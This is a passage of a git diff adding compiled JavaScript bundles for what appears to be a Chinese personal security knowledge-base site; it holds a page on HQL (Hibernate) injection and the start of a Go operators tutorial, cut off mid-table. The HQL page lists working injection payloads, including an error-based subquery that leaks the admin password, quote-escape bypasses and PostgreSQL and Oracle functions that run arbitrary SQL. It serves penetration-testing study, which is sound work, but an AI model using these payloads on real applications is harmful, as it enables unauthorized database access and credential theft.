l={},o="Thinkphp",c={},h=[{value:"\u5f71\u54cd",id:"\u5f71\u54cd",level:2}];function a(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(t.table,{children:[(0,i.jsx)(t.thead,{children:(0,i.jsxs)(t.tr,{children:[(0,i.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(t.tbody,{children:(0,i.jsxs)(t.tr,{children:[(0,i.jsx)(t.td,{style:{textAlign:"left"},children:(0,i.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(t.td,{style:{textAlign:"left"},children:"2024-02-23 11:56:45"})]})})]}),"\n",(0,i.jsx)(t.header,{children:(0,i.jsx)(t.h1,{id:"thinkphp",children:"Thinkphp"})}),"\n",(0,i.jsx)(t.h2,{id:"\u5f71\u54cd",children:"\u5f71\u54cd"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-json"})})]})}function d(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,i.jsx)(t,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/88425cd9.5c838f6f.js b/en/assets/js/88425cd9.5c838f6f.js new file mode 100644 index 0000000..84b0c42 --- /dev/null +++ b/en/assets/js/88425cd9.5c838f6f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[836],{16469:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>o,default:()=>h,frontMatter:()=>i,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","title":"HQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/08.HQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/08.HQL.md","tags":[],"version":"current","sidebarPosition":8,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MSSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL"},"next":{"title":"DB2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2"}}');var t=s(74848),r=s(28453);const i={},o=void 0,a={},c=[{value:"HQL \u8bc4\u8bba",id:"hql-\u8bc4\u8bba",level:2},{value:"HQL \u5217\u8868\u5217",id:"hql-\u5217\u8868\u5217",level:2},{value:"\u57fa\u4e8e HQL \u9519\u8bef",id:"\u57fa\u4e8e-hql-\u9519\u8bef",level:2},{value:"\u5355\u5f15\u53f7\u8f6c\u4e49",id:"\u5355\u5f15\u53f7\u8f6c\u4e49",level:2},{value:"$ \u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",id:"-\u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",level:2},{value:"DBMS \u9b54\u672f\u51fd\u6570",id:"dbms-\u9b54\u672f\u51fd\u6570",level:2},{value:"\u7edf\u4e00\u7801",id:"\u7edf\u4e00\u7801",level:2},{value:"Java \u5e38\u91cf",id:"java-\u5e38\u91cf",level:2},{value:"DBMS \u7684\u65b9\u6cd5",id:"dbms-\u7684\u65b9\u6cd5",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"Hibernate ORM\uff08\u7b80\u79f0 Hibernate\uff09\u662f Java \u7f16\u7a0b\u8bed\u8a00\u7684\u5bf9\u8c61\u5173\u7cfb\u6620\u5c04\u5de5\u5177\u3002\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5c06\u9762\u5411\u5bf9\u8c61\u7684\u57df\u6a21\u578b\u6620\u5c04\u5230\u5173\u7cfb\u6570\u636e\u5e93\u7684\u6846\u67b6\u7ef4\u57fa\u767e\u79d1"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"hql-\u8bc4\u8bba",children:"HQL \u8bc4\u8bba"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"HQL does not support comments\n"})}),"\n",(0,t.jsx)(n.h2,{id:"hql-\u5217\u8868\u5217",children:"HQL \u5217\u8868\u5217"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"from BlogPosts\nwhere title like '%'\n and DOESNT_EXIST=1 and ''='%' -- \n and published = true\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4f7f\u7528\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u5217\u5c06\u5bfc\u81f4\u4e00\u4e2a\u5f02\u5e38\uff0c\u6cc4\u6f0f\u591a\u4e2a\u5217\u540d\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"org.hibernate.exception.SQLGrammarException: Column \"DOESNT_EXIST\" not found; SQL statement:\n select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u57fa\u4e8e-hql-\u9519\u8bef",children:"\u57fa\u4e8e HQL \u9519\u8bef"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"from BlogPosts\nwhere title like '%11'\n and (select password from User where username='admin')=1\n or ''='%'\n and published = true\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u57fa\u4e8e\u503c\u5f3a\u5236\u8f6c\u6362\u7684\u9519\u8bef\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"Data conversion error converting \"d41d8cd98f00b204e9800998ecf8427e\"; SQL statement:\nselect blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u26a0\ufe0f"}),"\n",(0,t.jsx)(n.h2,{id:"\u5355\u5f15\u53f7\u8f6c\u4e49",children:"\u5355\u5f15\u53f7\u8f6c\u4e49"}),"\n",(0,t.jsxs)(n.p,{children:["\u65b9\u6cd5\u9002\u7528\u4e8e MySQL DBMS\uff0c\u8be5 DBMS \u4f7f\u7528 SLASH \u8f6c\u4e49\u5b57\u7b26\u4e32\u4e2d\u7684 SINGLE QUOTES ",(0,t.jsx)(n.code,{children:"\\'"}),"\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 HQL \u4e2d\uff0cSINGLE QUOTES \u901a\u8fc7\u52a0\u500d ",(0,t.jsx)(n.code,{children:"''"})," \u4ee5\u5b57\u7b26\u4e32\u5f62\u5f0f\u8f6c\u4e49\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"'abc\\''or 1=(select 1)--'\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5728 HQL \u4e2d\u5b83\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5728 MySQL \u4e2d\u5b83\u662f\u5b57\u7b26\u4e32\u548c\u9644\u52a0\u7684 SQL \u8868\u8fbe\u5f0f\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"-\u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",children:"$ \u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5141\u8bb8\u5728 SQL \u8868\u8fbe\u5f0f\u4e2d\u4f7f\u7528 DOLLAR-QUOTED \u5b57\u7b26\u4e32\u7684 DBMS\uff1aPostgreSQL\uff0cH2\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["Hibernate ORM \u5141\u8bb8\u6807\u8bc6\u7b26\u4ee5 ",(0,t.jsx)(n.code,{children:"$$"})," \u5f00\u5934\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"$$='$$=concat(chr(61),chr(39)) and 1=1--'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"dbms-\u9b54\u672f\u51fd\u6570",children:"DBMS \u9b54\u672f\u51fd\u6570"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5177\u6709 MAGIC FUNCTIONS \u7684 DBMS\uff0c\u8be5\u51fd\u6570\u7528\u4e8e\u8ba1\u7b97\u5b57\u7b26\u4e32\u53c2\u6570\u4e2d\u7684 SQL \u8868\u8fbe\u5f0f\uff1aPostgreSQL\u3001Oracle\u3002"}),"\n",(0,t.jsx)(n.p,{children:"Hibernate \u5141\u8bb8\u5728 HQL \u8868\u8fbe\u5f0f\u4e2d\u6307\u5b9a\u4efb\u4f55\u51fd\u6570\u540d\u79f0\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["PostgreSQL \u5185\u7f6e\u51fd\u6570 ",(0,t.jsx)(n.code,{children:"query_to_xml('Arbitrary SQL')"}),"\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)\n"})}),"\n",(0,t.jsxs)(n.p,{children:["Oracle \u5177\u6709\u5185\u7f6e\u529f\u80fd ",(0,t.jsx)(n.code,{children:"DBMS_XMLGEN.getxml('SQL')"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7edf\u4e00\u7801",children:"\u7edf\u4e00\u7801"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5141\u8bb8 SQL \u4ee4\u724c\u4e4b\u95f4\u4f7f\u7528 UNICODE \u5206\u9694\u7b26\uff08\u4f8b\u5982 U+00A0\uff09\u7684 DBMS\uff1aMicrosoft SQL Server\uff0cH2\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 Microsoft SQL SERVER \u4e2d\uff0c ",(0,t.jsx)(n.code,{children:"SELECT LEN([U+00A0](select[U+00A0](1))"})," \u7684\u5de5\u4f5c\u539f\u7406\u4e0e\u76f8\u540c\uff1b"]}),"\n",(0,t.jsx)(n.p,{children:"HQL \u5141\u8bb8\u5728\u6807\u8bc6\u7b26\uff08\u51fd\u6570\u6216\u53c2\u6570\u540d\u79f0\uff09\u4e2d\u4f7f\u7528 UNICODE \u7b26\u53f7\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1\n"})}),"\n",(0,t.jsx)(n.h2,{id:"dbms-\u7684\u65b9\u6cd5",children:"DBMS \u7684\u65b9\u6cd5"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/16578570/163428666-a22105a8-287c-4997-8aef-8f372a1b86e9.png",alt:"image"})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.h3xstream.com/2014/02/hql-for-pentesters.html",children:"\u4e94\u916f\u7684 HQL-2014 \u5e74 2 \u6708 12 \u65e5-Philippe Arteau"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language",children:"\u5982\u4f55\u5c06\u6ce8\u91ca\u653e\u5165 HQL\uff08\u4f11\u7720\u67e5\u8be2\u8bed\u8a00\uff09\uff1f-\u6258\u9a6c\u65af \xb7 \u5e03\u62c9\u7279"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf",children:"HQL\uff1a\u8d85\u75af\u72c2\u7684\u67e5\u8be2\u8bed\u8a00-2015 \u5e74 6 \u6708 4 \u65e5-Renaud Dubourguais"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm",children:"ORM2Pown:\u5229\u7528 Hibernate ORM \u4e2d\u7684\u6ce8\u5165-2015 \u5e74 11 \u6708 26 \u65e5-Mikhail Egorov"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf",children:"Java \u5e94\u7528\u7a0b\u5e8f\u4e2d\u5229\u7528 ORM \u6ce8\u5165\u7684\u65b0\u65b9\u6cd5-HITBSecConf2016-Mikhail Egorov-Sergey Soldatov"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/",children:"HQL \u5728 MySQL \u4e2d\u7684\u6ce8\u5165\u5f00\u53d1-2019 \u5e74 7 \u6708 18 \u65e5-Olga Barinova"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(d,{...e})}):d(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>o});var l=s(96540);const t={},r=l.createContext(t);function i(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),l.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/8855b24e.9cca3385.js b/en/assets/js/8855b24e.9cca3385.js new file mode 100644 index 0000000..d27e385 --- /dev/null +++ b/en/assets/js/8855b24e.9cca3385.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9740],{28102:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>j,frontMatter:()=>i,metadata:()=>l,toc:()=>x});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","title":"GoLang-\u8fd0\u7b97\u7b26","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/04.GoLang-\u8fd0\u7b97\u7b26.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/04.GoLang-\u8fd0\u7b97\u7b26.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236"}}');var s=t(74848),r=t(28453);const i={},d=void 0,c={},x=[{value:"\u7b97\u672f\u8fd0\u7b97\u7b26",id:"\u7b97\u672f\u8fd0\u7b97\u7b26",level:2},{value:"\u5173\u7cfb\u8fd0\u7b97\u7b26",id:"\u5173\u7cfb\u8fd0\u7b97\u7b26",level:2},{value:"\u903b\u8f91\u8fd0\u7b97\u7b26",id:"\u903b\u8f91\u8fd0\u7b97\u7b26",level:2},{value:"\u4f4d\u8fd0\u7b97\u7b26",id:"\u4f4d\u8fd0\u7b97\u7b26",level:2},{value:"\u8d4b\u503c\u8fd0\u7b97\u7b26",id:"\u8d4b\u503c\u8fd0\u7b97\u7b26",level:2}];function h(e){const n={code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b97\u672f\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u5173\u7cfb\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u903b\u8f91\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u4f4d\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u8d4b\u503c\u8fd0\u7b97\u7b26"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u7b97\u672f\u8fd0\u7b97\u7b26",children:"\u7b97\u672f\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"+"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u52a0"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"-"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u51cf"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"*"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u4e58"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"/"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u9664"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"%"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6c42\u4f59"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})," ",(0,s.jsx)(n.code,{children:"++"}),"\uff08\u81ea\u589e\uff09\u548c",(0,s.jsx)(n.code,{children:"--"}),"\uff08\u81ea\u51cf\uff09\u5728Go\u8bed\u8a00\u4e2d\u662f\u5355\u72ec\u7684\u8bed\u53e5\uff0c\u5e76\u4e0d\u662f\u8fd0\u7b97\u7b26\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5173\u7cfb\u8fd0\u7b97\u7b26",children:"\u5173\u7cfb\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"=="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u4e24\u4e2a\u503c\u662f\u5426\u76f8\u7b49\uff0c\u5982\u679c\u76f8\u7b49\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"!="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u4e24\u4e2a\u503c\u662f\u5426\u4e0d\u76f8\u7b49\uff0c\u5982\u679c\u4e0d\u76f8\u7b49\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:">"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5927\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:">="}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5927\u4e8e\u7b49\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<"})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5c0f\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:(0,s.jsx)(n.code,{children:"<="})}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u68c0\u67e5\u5de6\u8fb9\u503c\u662f\u5426\u5c0f\u4e8e\u7b49\u4e8e\u53f3\u8fb9\u503c\uff0c\u5982\u679c\u662f\u8fd4\u56de True \u5426\u5219\u8fd4\u56de False\u3002"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u903b\u8f91\u8fd0\u7b97\u7b26",children:"\u903b\u8f91\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"&&"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 AND \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u4e24\u8fb9\u7684\u64cd\u4f5c\u6570\u90fd\u662f True\uff0c\u5219\u4e3a True\uff0c\u5426\u5219\u4e3a False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"||"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 OR \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u4e24\u8fb9\u7684\u64cd\u4f5c\u6570\u6709\u4e00\u4e2a True\uff0c\u5219\u4e3a True\uff0c\u5426\u5219\u4e3a False\u3002"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"!"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u903b\u8f91 NOT \u8fd0\u7b97\u7b26\u3002 \u5982\u679c\u6761\u4ef6\u4e3a True\uff0c\u5219\u4e3a False\uff0c\u5426\u5219\u4e3a 